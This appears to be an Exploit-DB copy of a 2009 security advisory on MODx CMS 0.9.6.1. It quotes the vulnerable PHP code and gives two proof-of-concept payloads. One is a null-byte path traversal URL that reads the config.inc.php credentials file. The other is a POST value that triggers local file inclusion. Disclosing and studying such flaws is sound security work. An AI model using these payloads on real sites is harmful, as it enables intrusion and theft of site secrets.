MODx CMS Vulnerabilities

vendor:

MODx CMS

by:

AmnPardaz Security Research Team

7.5

CVSS

HIGH

Source code disclosure, local file inclusion

200, 94

CWE

Product Name: MODx CMS

Affected Version From: 0.9.6.1

Affected Version To: 0.9.6.1

Patch Exists: NO

Related CWE: N/A

CPE: modxcms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP

2009

When magic_quotes_gpc is disabled, its possible to bypass extension check via null character injection ( because of null terminating behavior in any function that uses fopen_wrappers ) which could result in source code disclosure. It is also possible to inject malicious php code via as_dir parameter which could result in local file inclusion.

Mitigation:

Enable magic_quotes_gpc

Source

Exploit-DB raw data:

########################## WwW.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: MODx CMS Vulnerabilities
# Vendor: http://modxcms.com
# Bugs: Source code disclosure, local file inclusion
# Vulnerable Version: 0.9.6.1 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix Available: No!
################################################################


####################
- Description:
####################

quote from vendor: "MODx is an open source PHP Application Framework that helps you take control of your online content.
It empowers developers and advanced users to give as much control as desired to whomever they desire for day-to-day website content maintenance chores."


####################
- Vulnerability:
####################

+--> source code disclosure

Code Snippet:

/assets/js/htcmime.php Line#18-36

$fname = (array_key_exists("file", $_GET)) ? $_GET["file"] : ""; 

// basename() also strips \x00, we don't need to worry about ? and # in path:
// Must be real files anyway, fopen() does not support wildcards
$ext = array_pop(explode('.', basename($fname)));
if (strcasecmp($ext, "htc") != 0 || !file_exists($fname))
  exit ("No file specified, file not found or illegal file.");

$flen = filesize($fname);

header("Content-type: text/x-component");
header("Content-Length: ".$flen);
header("Content-Disposition: inline; filename=$fname");

$fp = fopen($fname, "r");

echo fread($fp, $flen);

fclose($fp);

[as developer comments out] When magic_quotes_gpc is disabled, its possible to bypass extension check via null character injection 
( because of null terminating behavior in any function that uses fopen_wrappers ) which could result in source code disclosure!

POC : http://localhost/modx-0.9.6.1/assets/js/htcmime.php?file=../../manager/includes/config.inc.php%00.htc


+-->Local file inclusion

Code Snippet:

/assets/snippets/AjaxSearch/AjaxSearch.php line#17-41

$stripHTML = $_POST['stripHTML'];
$stripSnip = $_POST['stripSnip'];
$stripSnippets = $_POST['stripSnippets'];
$useAllWords = $_POST['useAllWords'];
$searchStyle = $_POST['searchStyle'];
$minChars = $_POST['minChars'];
$maxResults = $_POST['maxResults'];
$showMoreResults = $_POST['showMoreResults'];
$moreResultsPage = $_POST['moreResultsPage'];
$as_language = $_POST['as_language'];
$extract = $_POST['extract'];
$docgrp = $_POST['docgrp'];
$highlightResult = $_POST['highlightResult'];

include_once MODX_BASE_PATH . 'assets/snippets/AjaxSearch/includes/AjaxSearch.inc.php';
include MODX_BASE_PATH . 'assets/snippets/AjaxSearch/includes/templates.inc.php';

#include default language file
include(MODX_BASE_PATH . "assets/snippets/AjaxSearch/lang/english.inc.php");

#include other language file if set.
if($as_language!="english" && $as_language != '') {
	if(file_exists(MODX_BASE_PATH . "assets/snippets/AjaxSearch/lang/".$as_language.".inc.php"))
		include MODX_BASE_PATH . "assets/snippets/AjaxSearch/lang/".$as_language.".inc.php";
}

There is no input validation here therefore its possible to set  $as_language which could result in local file inclusion!

POC:
Method=POST
Action=http://localhost/modx-0.9.6.1/index-ajax.php?
Name=as_language Value=../ajaxSearch_readme.txt%00
Name=q Value=assets/snippets/AjaxSearch/AjaxSearch.php

####################
- Credit :
####################
Original Advisory:http://www.bugreport.ir/?/25
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

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